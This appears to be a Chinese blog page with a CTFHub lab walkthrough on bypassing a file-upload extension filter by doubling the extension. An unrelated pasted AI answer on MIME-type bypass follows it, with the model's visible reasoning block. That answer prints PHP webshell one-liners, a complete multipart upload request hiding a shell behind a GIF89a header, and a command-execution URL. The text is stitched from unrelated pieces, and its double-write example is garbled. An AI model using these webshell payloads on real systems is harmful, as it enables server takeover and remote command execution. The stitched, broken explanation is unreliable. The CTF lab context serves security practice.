【CTFHub】 文件上传 — 双写绕过

双写绕过原理:服务端对黑名单中的内容进行处理,且仅处理一次,所以可以通过双写后缀绕过.
       如,黑名单中有"php"字样,上传文件名为"1.php" 上传后文件变成"1.".
       
       
题解:

  • 第一步 先打开Burpsuite并开启拦截,然后在网站上传文件

在这里插入图片描述


  • 第二步 切至Burpsuite把拦截到的请求发送到转发器(send to repeater)

在这里插入图片描述


  • 第三步 在Burpsuite的转发器下修改文件后缀

在这里插入图片描述


  • 第四步 前面三步如果已经做好了,那么接下来使用蚁剑链接被入侵的服务器了

在这里插入图片描述


  • 第五步 测试连接成功之后,添加数据记录并访问目标服务器,点击上一层目录,打开"flag_xxx.php"文件,获取flag

<think>好的,我需要解决用户在CTFHub文件上传绕过MIME类型检查的问题。首先,用户提到了需要修改Content-Type和文件名,但上传PHP小马后网页无法解析,可能需要特殊编码或字符变换。根据引用[2],MIME绕过需要同时处理Content-Type和filename,但用户遇到的问题是即使上传成功,PHP文件也无法解析,这可能与服务器的解析方式有关。 首先,我应该回顾MIME类型检查的基本绕过方法。通常,服务器会检查上传文件的Content-Type,比如要求image/jpeg。所以,在上传时,将Content-Type改为允许的类型,比如image/jpeg,同时保持文件内容为PHP代码。但有时候服务器还会检查文件扩展名,这时候可能需要扩展名,比如shell.php.jpg,或者使用空字节截断,如shell.php%00.jpg,但PHP版本升级后可能失效。 接下来,用户提到即使上传成功,网页无法解析PHP。这可能是因为服务器配置了白名单扩展名,只允许.jpg等,所以即使文件内容正确,服务器也不会执行。这时候需要利用解析漏洞,比如.htaccess文件覆盖,或者让服务器错误解析扩展名,比如上传shell.php.jpg,并利用Apache的解析漏洞(如从右向左解析,遇到不认识的后缀就左移一个,比如如果服务器配置了php解析.php和.phps,那么shell.php.xxx可能被解析为PHP)。 另外,引用[2]提到可能需要特殊编码或字符变换。这可能包括在PHP代码中使用十六进制、Unicode编码,或者插入特殊字符如空格、换行来绕过内容检测。例如,使用exif_imagetype()检查的绕过,需要在文件头添加图片的魔术字节,如GIF89a,同时后面接PHP代码。 解决方案步骤可能包括: 1. 修改Content-Type为image/jpeg。 2. 修改文件名为shell.php.jpg或使用如shell.pphphp。 3. 在文件内容前添加图片魔术字节,如GIF89a,并用注释符避免图片错误。 4. 利用服务器解析漏洞,如%00截断或.htaccess设置。 最后,生成相关问题需要考虑其他绕过方式、解析漏洞、内容检测绕过等。</think>### CTFHub文件上传MIME类型绕过技巧 #### 一、MIME类型检测原理 MIME类型检测是文件上传功能中最常见的安全校验机制,服务器通过检查HTTP请求头中的`Content-Type`字段判断文件类型。例如要求上传图片时,合法的MIME类型为`image/jpeg`、`image/png`等[^2]。 #### 二、绕过步骤 1. **修改Content-Type字段** 将PHP文件的`Content-Type`改为允许的类型(如`image/jpeg`),同时保持文件内容为PHP代码。 **示例请求头**: ``` Content-Type: image/jpeg ``` 2. **文件名处理** - **扩展名绕过**:若服务器仅检查后缀名,可使用`shell.php.jpg`格式,利用部分解析漏洞 - **空字节截断(需PHP版本<5.3)**:如`shell.php%00.jpg` - **大小混淆**:如`shell.PhP` 3. **文件内容绕过** - **添加图片魔术字节**:在PHP代码前插入`GIF89a`等文件头,绕过`exif_imagetype()`检测 ```php GIF89a <?php @eval($_POST['cmd']); ?> ``` - **注释符处理**:使用`/* ... */`包裹恶意代码,避免破坏文件结构 #### 三、完整Payload示例 ```http POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="shell.php.jpg" Content-Type: image/jpeg GIF89a <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123-- ``` #### 四、验证与调试 1. 使用Burp Suite拦截上传请求,修改`Content-Type`和文件名 2. 上传后访问文件路径,确认是否解析为PHP(如`/uploads/shell.php.jpg?cmd=ls`)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值